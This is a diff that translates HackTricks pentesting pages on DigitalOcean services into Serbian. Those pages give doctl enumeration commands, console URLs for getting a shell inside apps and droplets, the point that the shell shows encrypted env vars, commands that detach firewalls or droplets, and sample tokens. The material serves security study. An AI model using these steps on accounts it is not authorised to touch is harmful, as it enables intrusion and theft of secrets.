- [**Droplet-i**](do-droplets.md)
|
||||
- [**Funkcije**](do-functions.md)
|
||||
- [**Slike**](do-images.md)
|
||||
- [**Kubernetes (DOKS)**](do-kubernetes-doks.md)
|
||||
- [**Networking**](do-networking.md)
|
||||
- [**Projects**](do-projects.md)
|
||||
- [**Spaces**](do-spaces.md)
|
||||
- [**Volumes**](do-volumes.md)
|
||||
- [**Mreže**](do-networking.md)
|
||||
- [**Projekti**](do-projects.md)
|
||||
- [**Prostori**](do-spaces.md)
|
||||
- [**Volumeni**](do-volumes.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
[From the docs:](https://docs.digitalocean.com/glossary/app-platform/) App Platform is a Platform-as-a-Service (PaaS) offering that allows developers to **publish code directly to DigitalOcean** servers without worrying about the underlying infrastructure.
|
||||
[Iz dokumenata:](https://docs.digitalocean.com/glossary/app-platform/) App Platform je Platforma kao usluga (PaaS) koja omogućava programerima da **objave kod direktno na DigitalOcean** servere bez brige o osnovnoj infrastrukturi.
|
||||
|
||||
You can run code directly from **github**, **gitlab**, **docker hub**, **DO container registry** (or a sample app).
|
||||
Možete pokrenuti kod direktno sa **github**, **gitlab**, **docker hub**, **DO container registry** (ili uzorak aplikacije).
|
||||
|
||||
When defining an **env var** you can set it as **encrypted**. The only way to **retreive** its value is executing **commands** inside the host runnig the app.
|
||||
Kada definišete **env var**, možete je postaviti kao **šifrovanu**. Jedini način da **dobijete** njenu vrednost je izvršavanje **komandi** unutar hosta koji pokreće aplikaciju.
|
||||
|
||||
An **App URL** looks like this [https://dolphin-app-2tofz.ondigitalocean.app](https://dolphin-app-2tofz.ondigitalocean.app)
|
||||
|
||||
### Enumeration
|
||||
**App URL** izgleda ovako [https://dolphin-app-2tofz.ondigitalocean.app](https://dolphin-app-2tofz.ondigitalocean.app)
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
doctl apps list # You should get URLs here
|
||||
doctl apps spec get <app-id> # Get yaml (including env vars, might be encrypted)
|
||||
@@ -21,18 +20,13 @@ doctl apps logs <app-id> # Get HTTP logs
|
||||
doctl apps list-alerts <app-id> # Get alerts
|
||||
doctl apps list-regions # Get available regions and the default one
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> **Apps doesn't have metadata endpoint**
|
||||
> **Aplikacije nemaju metapodatkovni krajnji tačku**
|
||||
|
||||
### RCE & Encrypted env vars
|
||||
### RCE & Enkriptovane env varijable
|
||||
|
||||
To execute code directly in the container executing the App you will need **access to the console** and go to **`https://cloud.digitalocean.com/apps/<app-id>/console/<app-name>`**.
|
||||
Da biste izvršili kod direktno u kontejneru koji izvršava aplikaciju, biće vam potrebna **pristup konzoli** i idite na **`https://cloud.digitalocean.com/apps/<app-id>/console/<app-name>`**.
|
||||
|
||||
That will give you a **shell**, and just executing **`env`** you will be able to see **all the env vars** (including the ones defined as **encrypted**).
|
||||
To će vam dati **shell**, a samo izvršavanjem **`env`** moći ćete da vidite **sve env varijable** (uključujući one definisane kao **enkriptovane**).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
DigitalOcean Container Registry is a service provided by DigitalOcean that **allows you to store and manage Docker images**. It is a **private** registry, which means that the images that you store in it are only accessible to you and users that you grant access to. This allows you to securely store and manage your Docker images, and use them to deploy containers on DigitalOcean or any other environment that supports Docker.
|
||||
DigitalOcean Container Registry je usluga koju pruža DigitalOcean koja **omogućava da skladištite i upravljate Docker slikama**. To je **privatni** registar, što znači da su slike koje skladištite u njemu dostupne samo vama i korisnicima kojima dodelite pristup. Ovo vam omogućava da sigurno skladištite i upravljate svojim Docker slikama, i koristite ih za implementaciju kontejnera na DigitalOcean-u ili bilo kojem drugom okruženju koje podržava Docker.
|
||||
|
||||
When creating a Container Registry it's possible to **create a secret with pull images access (read) over it in all the namespaces** of Kubernetes clusters.
|
||||
|
||||
### Connection
|
||||
Kada kreirate Container Registry, moguće je **napraviti tajnu sa pristupom za preuzimanje slika (čitanje) u svim prostorima imena** Kubernetes klastera.
|
||||
|
||||
### Povezivanje
|
||||
```bash
|
||||
# Using doctl
|
||||
doctl registry login
|
||||
@@ -19,9 +18,7 @@ docker login registry.digitalocean.com
|
||||
Username: <paste-api-token>
|
||||
Password: <paste-api-token>
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
# Get creds to access the registry from the API
|
||||
doctl registry docker-config
|
||||
@@ -29,9 +26,4 @@ doctl registry docker-config
|
||||
# List
|
||||
doctl registry repository list-v2
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,23 +1,20 @@
|
||||
# DO - Databases
|
||||
# DO - Baze podataka
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
With DigitalOcean Databases, you can easily **create and manage databases in the cloud** without having to worry about the underlying infrastructure. The service offers a variety of database options, including **MySQL**, **PostgreSQL**, **MongoDB**, and **Redis**, and provides tools for administering and monitoring your databases. DigitalOcean Databases is designed to be highly scalable, reliable, and secure, making it an ideal choice for powering modern applications and websites.
|
||||
Sa DigitalOcean Bazama podataka, možete lako **kreirati i upravljati bazama podataka u oblaku** bez brige o osnovnoj infrastrukturi. Usluga nudi razne opcije baza podataka, uključujući **MySQL**, **PostgreSQL**, **MongoDB** i **Redis**, i pruža alate za administraciju i praćenje vaših baza podataka. DigitalOcean Baze podataka su dizajnirane da budu visoko skalabilne, pouzdane i sigurne, što ih čini idealnim izborom za pokretanje modernih aplikacija i veb sajtova.
|
||||
|
||||
### Connections details
|
||||
### Detalji o vezama
|
||||
|
||||
When creating a database you can select to configure it **accessible from a public network**, or just from inside a **VPC**. Moreover, it request you to **whitelist IPs that can access it** (your IPv4 can be one).
|
||||
|
||||
The **host**, **port**, **dbname**, **username**, and **password** are shown in the **console**. You can even download the AD certificate to connect securely.
|
||||
Kada kreirate bazu podataka, možete odabrati da je konfigurišete **da bude dostupna iz javne mreže**, ili samo iznutra **VPC**. Štaviše, traži od vas da **dodate IP adrese koje mogu pristupiti** (vaša IPv4 može biti jedna od njih).
|
||||
|
||||
**Host**, **port**, **dbname**, **username** i **password** su prikazani u **konzoli**. Možete čak preuzeti AD sertifikat za sigurnu vezu.
|
||||
```bash
|
||||
sql -h db-postgresql-ams3-90864-do-user-2700959-0.b.db.ondigitalocean.com -U doadmin -d defaultdb -p 25060
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
# Databse clusters
|
||||
doctl databases list
|
||||
@@ -39,9 +36,4 @@ doctl databases backups <db-id> # List backups of DB
|
||||
# Pools
|
||||
doctl databases pool list <db-id> # List pools of DB
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,47 +2,46 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
In DigitalOcean, a "droplet" is a v**irtual private server (VPS)** that can be used to host websites and applications. A droplet is a **pre-configured package of computing resources**, including a certain amount of CPU, memory, and storage, that can be quickly and easily deployed on DigitalOcean's cloud infrastructure.
|
||||
U DigitalOcean-u, "droplet" je v**irtualni privatni server (VPS)** koji se može koristiti za hostovanje veb sajtova i aplikacija. Droplet je **prekonfigurisani paket računarskih resursa**, uključujući određenu količinu CPU-a, memorije i skladišta, koji se može brzo i lako implementirati na DigitalOcean-ovoj cloud infrastrukturi.
|
||||
|
||||
You can select from **common OS**, to **applications** already running (such as WordPress, cPanel, Laravel...), or even upload and use **your own images**.
|
||||
Možete odabrati između **uobičajenih OS**, do **aplikacija** koje već rade (kao što su WordPress, cPanel, Laravel...), ili čak otpremiti i koristiti **svoje slike**.
|
||||
|
||||
Droplets support **User data scripts**.
|
||||
Droplets podržavaju **User data scripts**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Difference between a snapshot and a backup</summary>
|
||||
<summary>Razlika između snimka i rezervne kopije</summary>
|
||||
|
||||
In DigitalOcean, a snapshot is a point-in-time copy of a Droplet's disk. It captures the state of the Droplet's disk at the time the snapshot was taken, including the operating system, installed applications, and all the files and data on the disk.
|
||||
U DigitalOcean-u, snimak je tačka u vremenu kopija diska Dropleta. On hvata stanje diska Dropleta u trenutku kada je snimak napravljen, uključujući operativni sistem, instalirane aplikacije i sve datoteke i podatke na disku.
|
||||
|
||||
Snapshots can be used to create new Droplets with the same configuration as the original Droplet, or to restore a Droplet to the state it was in when the snapshot was taken. Snapshots are stored on DigitalOcean's object storage service, and they are incremental, meaning that only the changes since the last snapshot are stored. This makes them efficient to use and cost-effective to store.
|
||||
Snimci se mogu koristiti za kreiranje novih Dropleta sa istom konfiguracijom kao originalni Droplet, ili za vraćanje Dropleta u stanje u kojem je bio kada je snimak napravljen. Snimci se čuvaju na DigitalOcean-ovoj usluzi za skladištenje objekata, i oni su inkrementalni, što znači da se čuvaju samo promene od poslednjeg snimka. Ovo ih čini efikasnim za korišćenje i isplativim za skladištenje.
|
||||
|
||||
On the other hand, a backup is a complete copy of a Droplet, including the operating system, installed applications, files, and data, as well as the Droplet's settings and metadata. Backups are typically performed on a regular schedule, and they capture the entire state of a Droplet at a specific point in time.
|
||||
S druge strane, rezervna kopija je potpuna kopija Dropleta, uključujući operativni sistem, instalirane aplikacije, datoteke i podatke, kao i postavke i metapodatke Dropleta. Rezervne kopije se obično vrše prema redovnom rasporedu, i one hvataju celo stanje Dropleta u određenom trenutku.
|
||||
|
||||
Unlike snapshots, backups are stored in a compressed and encrypted format, and they are transferred off of DigitalOcean's infrastructure to a remote location for safekeeping. This makes backups ideal for disaster recovery, as they provide a complete copy of a Droplet that can be restored in the event of data loss or other catastrophic events.
|
||||
Za razliku od snimaka, rezervne kopije se čuvaju u komprimovanom i enkriptovanom formatu, i one se prenose sa DigitalOcean-ove infrastrukture na udaljenu lokaciju radi čuvanja. Ovo čini rezervne kopije idealnim za oporavak od katastrofa, jer pružaju potpunu kopiju Dropleta koja se može obnoviti u slučaju gubitka podataka ili drugih katastrofalnih događaja.
|
||||
|
||||
In summary, snapshots are point-in-time copies of a Droplet's disk, while backups are complete copies of a Droplet, including its settings and metadata. Snapshots are stored on DigitalOcean's object storage service, while backups are transferred off of DigitalOcean's infrastructure to a remote location. Both snapshots and backups can be used to restore a Droplet, but snapshots are more efficient to use and store, while backups provide a more comprehensive backup solution for disaster recovery.
|
||||
Ukratko, snimci su tačke u vremenu kopije diska Dropleta, dok su rezervne kopije potpune kopije Dropleta, uključujući njegove postavke i metapodatke. Snimci se čuvaju na DigitalOcean-ovoj usluzi za skladištenje objekata, dok se rezervne kopije prenose sa DigitalOcean-ove infrastrukture na udaljenu lokaciju. I snimci i rezervne kopije se mogu koristiti za vraćanje Dropleta, ali su snimci efikasniji za korišćenje i skladištenje, dok rezervne kopije pružaju sveobuhvatnije rešenje za oporavak od katastrofa.
|
||||
|
||||
</details>
|
||||
|
||||
### Authentication
|
||||
### Autentifikacija
|
||||
|
||||
For authentication it's possible to **enable SSH** through username and **password** (password defined when the droplet is created). Or **select one or more of the uploaded SSH keys**.
|
||||
Za autentifikaciju je moguće **omogućiti SSH** putem korisničkog imena i **lozinke** (lozinka definisana prilikom kreiranja dropleta). Ili **odabrati jedan ili više otpremljenih SSH ključeva**.
|
||||
|
||||
### Firewall
|
||||
|
||||
> [!CAUTION]
|
||||
> By default **droplets are created WITHOUT A FIREWALL** (not like in oder clouds such as AWS or GCP). So if you want DO to protect the ports of the droplet (VM), you need to **create it and attach it**.
|
||||
> Po defaultu **droplets se kreiraju BEZ FIREWALL-a** (nije kao u drugim cloud-ovima kao što su AWS ili GCP). Dakle, ako želite da DO zaštiti portove dropleta (VM), morate **kreirati i prikačiti ga**.
|
||||
|
||||
More info in:
|
||||
Više informacija u:
|
||||
|
||||
{{#ref}}
|
||||
do-networking.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
# VMs
|
||||
doctl compute droplet list # IPs will appear here
|
||||
@@ -68,18 +67,13 @@ doctl compute certificate list
|
||||
# Snapshots
|
||||
doctl compute snapshot list
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> **Droplets have metadata endpoints**, but in DO there **isn't IAM** or things such as role from AWS or service accounts from GCP.
|
||||
> **Droplets imaju metapodatke**, ali u DO **nema IAM** ili stvari kao što su uloge iz AWS-a ili servisni nalozi iz GCP-a.
|
||||
|
||||
### RCE
|
||||
|
||||
With access to the console it's possible to **get a shell inside the droplet** accessing the URL: **`https://cloud.digitalocean.com/droplets/<droplet-id>/terminal/ui/`**
|
||||
Sa pristupom konzoli moguće je **dobiti shell unutar dropleta** pristupajući URL-u: **`https://cloud.digitalocean.com/droplets/<droplet-id>/terminal/ui/`**
|
||||
|
||||
It's also possible to launch a **recovery console** to run commands inside the host accessing a recovery console in **`https://cloud.digitalocean.com/droplets/<droplet-id>/console`**(but in this case you will need to know the root password).
|
||||
Takođe je moguće pokrenuti **konzolu za oporavak** da izvršite komande unutar hosta pristupajući konzoli za oporavak na **`https://cloud.digitalocean.com/droplets/<droplet-id>/console`**(ali u ovom slučaju ćete morati da znate root lozinku).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,39 +2,34 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
DigitalOcean Functions, also known as "DO Functions," is a serverless computing platform that lets you **run code without having to worry about the underlying infrastructure**. With DO Functions, you can write and deploy your code as "functions" that can be **triggered** via **API**, **HTTP requests** (if enabled) or **cron**. These functions are executed in a fully managed environment, so you **don't need to worry** about scaling, security, or maintenance.
|
||||
DigitalOcean Functions, poznate i kao "DO Functions," je platforma za serverless računarstvo koja vam omogućava da **izvršavate kod bez brige o osnovnoj infrastrukturi**. Sa DO Functions, možete pisati i implementirati svoj kod kao "funkcije" koje mogu biti **pokrenute** putem **API**, **HTTP zahteva** (ako je omogućeno) ili **cron**. Ove funkcije se izvršavaju u potpuno upravljanom okruženju, tako da **ne morate brinuti** o skaliranju, bezbednosti ili održavanju.
|
||||
|
||||
In DO, to create a function first you need to **create a namespace** which will be **grouping functions**.\
|
||||
Inside the namespace you can then create a function.
|
||||
U DO, da biste kreirali funkciju, prvo morate **napraviti namespace** koji će biti **grupisanje funkcija**.\
|
||||
Unutar namespace-a možete zatim kreirati funkciju.
|
||||
|
||||
### Triggers
|
||||
|
||||
The way **to trigger a function via REST API** (always enabled, it's the method the cli uses) is by triggering a request with an **authentication token** like:
|
||||
### Okidači
|
||||
|
||||
Način **pokretanja funkcije putem REST API** (uvek omogućeno, to je metoda koju koristi cli) je slanjem zahteva sa **tokenom za autentifikaciju** kao:
|
||||
```bash
|
||||
curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c100c012-65bf-4040-1230-2183764b7c23/actions/functionname?blocking=true&result=true" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
```
|
||||
|
||||
To see how is the **`doctl`** cli tool getting this token (so you can replicate it), the **following command shows the complete network trace:**
|
||||
|
||||
Da biste videli kako **`doctl`** cli alat dobija ovaj token (tako da ga možete replicirati), **sledeća komanda prikazuje kompletnu mrežnu analizu:**
|
||||
```bash
|
||||
doctl serverless connect --trace
|
||||
```
|
||||
|
||||
**When HTTP trigger is enabled**, a web function can be invoked through these **HTTP methods GET, POST, PUT, PATCH, DELETE, HEAD and OPTIONS**.
|
||||
**Kada je HTTP okidač omogućen**, web funkcija može biti pozvana putem ovih **HTTP metoda GET, POST, PUT, PATCH, DELETE, HEAD i OPTIONS**.
|
||||
|
||||
> [!CAUTION]
|
||||
> In DO functions, **environment variables cannot be encrypted** (at the time of this writing).\
|
||||
> I couldn't find any way to read them from the CLI but from the console it's straight forward.
|
||||
> U DO funkcijama, **promenljive okruženja ne mogu biti enkriptovane** (u vreme pisanja ovog teksta).\
|
||||
> Nisam mogao da pronađem način da ih pročitam iz CLI, ali iz konzole je jednostavno.
|
||||
|
||||
**Functions URLs** look like this: `https://<random>.doserverless.co/api/v1/web/<namespace-id>/default/<function-name>`
|
||||
|
||||
### Enumeration
|
||||
**URL-ovi funkcija** izgledaju ovako: `https://<random>.doserverless.co/api/v1/web/<namespace-id>/default/<function-name>`
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
# Namespace
|
||||
doctl serverless namespaces list
|
||||
@@ -53,12 +48,7 @@ doctl serverless activations result <activation-id> # get only the response resu
|
||||
|
||||
# I couldn't find any way to get the env variables form the CLI
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> There **isn't metadata endpoint** from the Functions sandbox.
|
||||
> Ne **postoji metadata endpoint** iz Functions sandbox-a.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,22 +2,16 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
DigitalOcean Images are **pre-built operating system or application images** that can be used to create new Droplets (virtual machines) on DigitalOcean. They are similar to virtual machine templates, and they allow you to **quickly and easily create new Droplets with the operating system** and applications that you need.
|
||||
DigitalOcean Images su **prethodno izgrađene slike operativnog sistema ili aplikacija** koje se mogu koristiti za kreiranje novih Dropleta (virtuelnih mašina) na DigitalOcean-u. Slične su šablonima virtuelnih mašina i omogućavaju vam da **brzo i lako kreirate nove Droplete sa operativnim sistemom** i aplikacijama koje su vam potrebne.
|
||||
|
||||
DigitalOcean provides a wide range of Images, including popular operating systems such as Ubuntu, CentOS, and FreeBSD, as well as pre-configured application Images such as LAMP, MEAN, and LEMP stacks. You can also create your own custom Images, or use Images from the community.
|
||||
DigitalOcean pruža širok spektar slika, uključujući popularne operativne sisteme kao što su Ubuntu, CentOS i FreeBSD, kao i prethodno konfigurisane slike aplikacija kao što su LAMP, MEAN i LEMP stack-ovi. Takođe možete kreirati svoje prilagođene slike ili koristiti slike iz zajednice.
|
||||
|
||||
When you create a new Droplet on DigitalOcean, you can choose an Image to use as the basis for the Droplet. This will automatically install the operating system and any pre-installed applications on the new Droplet, so you can start using it right away. Images can also be used to create snapshots and backups of your Droplets, so you can easily create new Droplets from the same configuration in the future.
|
||||
Kada kreirate novi Droplet na DigitalOcean-u, možete odabrati sliku koja će se koristiti kao osnova za Droplet. Ovo će automatski instalirati operativni sistem i sve prethodno instalirane aplikacije na novom Dropletu, tako da možete odmah početi da ga koristite. Slike se takođe mogu koristiti za kreiranje snimaka i rezervnih kopija vaših Dropleta, tako da lako možete kreirati nove Droplete iz iste konfiguracije u budućnosti.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```
|
||||
doctl compute image list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,19 +2,18 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne Informacije
|
||||
|
||||
### DigitalOcean Kubernetes (DOKS)
|
||||
|
||||
DOKS is a managed Kubernetes service offered by DigitalOcean. The service is designed to **deploy and manage Kubernetes clusters on DigitalOcean's platform**. The key aspects of DOKS include:
|
||||
DOKS je upravljana Kubernetes usluga koju nudi DigitalOcean. Usluga je dizajnirana da **implementira i upravlja Kubernetes klasterima na DigitalOcean platformi**. Ključni aspekti DOKS-a uključuju:
|
||||
|
||||
1. **Ease of Management**: The requirement to set up and maintain the underlying infrastructure is eliminated, simplifying the management of Kubernetes clusters.
|
||||
2. **User-Friendly Interface**: It provides an intuitive interface that facilitates the creation and administration of clusters.
|
||||
3. **Integration with DigitalOcean Services**: It seamlessly integrates with other services provided by DigitalOcean, such as Load Balancers and Block Storage.
|
||||
4. **Automatic Updates and Upgrades**: The service includes the automatic updating and upgrading of clusters to ensure they are up-to-date.
|
||||
|
||||
### Connection
|
||||
1. **Jednostavnost upravljanja**: Zahtev za postavljanje i održavanje osnovne infrastrukture je eliminisan, što pojednostavljuje upravljanje Kubernetes klasterima.
|
||||
2. **Prijateljski korisnički interfejs**: Pruža intuitivan interfejs koji olakšava kreiranje i administraciju klastera.
|
||||
3. **Integracija sa DigitalOcean uslugama**: Besprekorno se integriše sa drugim uslugama koje pruža DigitalOcean, kao što su Load Balancers i Block Storage.
|
||||
4. **Automatske nadogradnje i ažuriranja**: Usluga uključuje automatsko ažuriranje i nadogradnju klastera kako bi se osiguralo da su uvek ažurirani.
|
||||
|
||||
### Povezivanje
|
||||
```bash
|
||||
# Generate kubeconfig from doctl
|
||||
doctl kubernetes cluster kubeconfig save <cluster-id>
|
||||
@@ -22,9 +21,7 @@ doctl kubernetes cluster kubeconfig save <cluster-id>
|
||||
# Use a kubeconfig file that you can download from the console
|
||||
kubectl --kubeconfig=/<pathtodirectory>/k8s-1-25-4-do-0-ams3-1670939911166-kubeconfig.yaml get nodes
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
# Get clusters
|
||||
doctl kubernetes cluster list
|
||||
@@ -35,9 +32,4 @@ doctl kubernetes cluster node-pool list <cluster-id>
|
||||
# Get DO resources used by the cluster
|
||||
doctl kubernetes cluster list-associated-resources <cluster-id>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,48 +2,34 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Domains
|
||||
|
||||
### Domeni
|
||||
```bash
|
||||
doctl compute domain list
|
||||
doctl compute domain records list <domain>
|
||||
# You can also create records
|
||||
```
|
||||
|
||||
### Reserverd IPs
|
||||
|
||||
### Rezervisane IP adrese
|
||||
```bash
|
||||
doctl compute reserved-ip list
|
||||
doctl compute reserved-ip-action unassign <ip>
|
||||
```
|
||||
|
||||
### Load Balancers
|
||||
|
||||
### Balansiranje Opterećenja
|
||||
```bash
|
||||
doctl compute load-balancer list
|
||||
doctl compute load-balancer remove-droplets <id> --droplet-ids 12,33
|
||||
doctl compute load-balancer add-forwarding-rules <id> --forwarding-rules entry_protocol:tcp,entry_port:3306,...
|
||||
```
|
||||
|
||||
### VPC
|
||||
|
||||
```
|
||||
doctl vpcs list
|
||||
```
|
||||
|
||||
### Firewall
|
||||
|
||||
> [!CAUTION]
|
||||
> By default **droplets are created WITHOUT A FIREWALL** (not like in oder clouds such as AWS or GCP). So if you want DO to protect the ports of the droplet (VM), you need to **create it and attach it**.
|
||||
|
||||
> Po default-u **droplet-i se kreiraju BEZ FIREWALL-a** (nije kao u drugim cloud-ovima kao što su AWS ili GCP). Dakle, ako želite da DO zaštiti portove dropleta (VM), morate **da ga kreirate i povežete**.
|
||||
```bash
|
||||
doctl compute firewall list
|
||||
doctl compute firewall list-by-droplet <droplet-id>
|
||||
doctl compute firewall remove-droplets <fw-id> --droplet-ids <droplet-id>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,21 @@
|
||||
# DO - Projects
|
||||
# DO - Projekti
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne Informacije
|
||||
|
||||
> project is just a container for all the **services** (droplets, spaces, databases, kubernetes...) **running together inside of it**.\
|
||||
> For more info check:
|
||||
> projekat je samo kontejner za sve **usluge** (droplet-i, prostori, baze podataka, kubernetes...) **koje rade zajedno unutar njega**.\
|
||||
> Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../do-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
It's possible to **enumerate all the projects a user have access to** and all the resources that are running inside a project very easily:
|
||||
### Enumeracija
|
||||
|
||||
Moguće je **enumerisati sve projekte kojima korisnik ima pristup** i sve resurse koji rade unutar projekta veoma lako:
|
||||
```bash
|
||||
doctl projects list # Get projects
|
||||
doctl projects resources list <proj-id> # Get all the resources of a project
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,25 +2,24 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
DigitalOcean Spaces are **object storage services**. They allow users to **store and serve large amounts of data**, such as images and other files, in a scalable and cost-effective way. Spaces can be accessed via the DigitalOcean control panel, or using the DigitalOcean API, and are integrated with other DigitalOcean services such as Droplets (virtual private servers) and Load Balancers.
|
||||
DigitalOcean Spaces su **usluge skladištenja objekata**. Omogućavaju korisnicima da **čuvaju i pružaju velike količine podataka**, kao što su slike i drugi fajlovi, na skalabilan i ekonomičan način. Spaces se mogu pristupiti putem DigitalOcean kontrolne table, ili koristeći DigitalOcean API, i integrisani su sa drugim DigitalOcean uslugama kao što su Droplets (virtuelni privatni serveri) i Load Balancers.
|
||||
|
||||
### Access
|
||||
### Pristup
|
||||
|
||||
Spaces can be **public** (anyone can access them from the Internet) or **private** (only authorised users). To access the files from a private space outside of the Control Panel, we need to generate an **access key** and **secret**. These are a pair of random tokens that serve as a **username** and **password** to grant access to your Space.
|
||||
Spaces mogu biti **javne** (svako može da im pristupi sa Interneta) ili **privatne** (samo ovlašćeni korisnici). Da bismo pristupili fajlovima iz privatnog prostora van Kontrolne table, potrebno je da generišemo **ključ za pristup** i **tajni ključ**. Ovo su par nasumičnih tokena koji služe kao **korisničko ime** i **lozinka** za pristup vašem prostoru.
|
||||
|
||||
A **URL of a space** looks like this: **`https://uniqbucketname.fra1.digitaloceanspaces.com/`**\
|
||||
Note the **region** as **subdomain**.
|
||||
**URL prostora** izgleda ovako: **`https://uniqbucketname.fra1.digitaloceanspaces.com/`**\
|
||||
Obratite pažnju na **region** kao **poddomen**.
|
||||
|
||||
Even if the **space** is **public**, **files** **inside** of it can be **private** (you will be able to access them only with credentials).
|
||||
Čak i ako je **prostor** **javan**, **fajlovi** **unutar** njega mogu biti **privatni** (moći ćete da im pristupite samo sa kredencijalima).
|
||||
|
||||
However, **even** if the file is **private**, from the console it's possible to share a file with a link such as `https://fra1.digitaloceanspaces.com/uniqbucketname/filename?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=DO00PL3RA373GBV4TRF7%2F20221213%2Ffra1%2Fs3%2Faws4_request&X-Amz-Date=20221213T121017Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6a183dbc42453a8d30d7cd2068b66aeb9ebc066123629d44a8108115def975bc` for a period of time:
|
||||
Međutim, **čak** i ako je fajl **privatan**, iz konzole je moguće deliti fajl putem linka kao što je `https://fra1.digitaloceanspaces.com/uniqbucketname/filename?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=DO00PL3RA373GBV4TRF7%2F20221213%2Ffra1%2Fs3%2Faws4_request&X-Amz-Date=20221213T121017Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6a183dbc42453a8d30d7cd2068b66aeb9ebc066123629d44a8108115def975bc` na određeni vremenski period:
|
||||
|
||||
<figure><img src="../../../images/image (277).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Enumeration
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
# Unauthenticated
|
||||
## Note how the region is specified in the endpoint
|
||||
@@ -42,9 +41,4 @@ aws s3 ls --endpoint=https://fra1.digitaloceanspaces.com s3://uniqbucketname
|
||||
|
||||
## It's also possible to generate authorized access to buckets from the API
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,18 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Osnovne informacije
|
||||
|
||||
DigitalOcean volumes are **block storage** devices that can be **attached to and detached from Droplets**. Volumes are useful for **storing data** that needs to **persist** independently of the Droplet itself, such as databases or file storage. They can be resized, attached to multiple Droplets, and snapshot for backups.
|
||||
|
||||
### Enumeration
|
||||
